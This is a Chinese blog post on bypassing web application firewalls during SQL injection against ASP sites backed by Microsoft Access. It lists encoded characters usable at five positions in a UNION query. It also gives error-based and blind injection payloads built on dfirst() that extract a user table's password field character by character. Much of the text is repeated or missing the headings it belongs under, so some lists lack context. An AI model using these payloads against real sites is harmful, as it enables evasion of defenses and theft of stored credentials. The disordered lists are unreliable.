我们经常利用一些数据库特性来进行WAF绕过。Access通常与ASP搭配,以及少的可怜的几点特性。
为了文章的完整性,我们来测试一下access的特性。
常见有5个位置即:select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d、%16
(2)%3b
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
(2)其他字符
%2b、%2d、%2e、%3d
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
(1)空白字符
Access可以利用的空白字符有:%09、%0a、%0c、%0d
ACCESS无select SQL注射
1 、需要报错
select * from idea_user where id=3+(dfirst([password],([idea_user]![password])))
2、盲注
select * from idea_user where id=3+asc(mid((dfirst("[password]","[idea_user]")),1,1))-101
password字段第一个字符为e,对应ascii为101,所以id=3+101-101 还是等于3,页面返回正常
在ASP+Access的注入点,猜表猜字段就让人很绝望,如果此时加上一层WAF的话,简直不忍直视。
如果你利用了Mysql/MSsql的特性,那么在平移到Access的时候,很可能是不适用的。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。
Bypass
About Me
一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。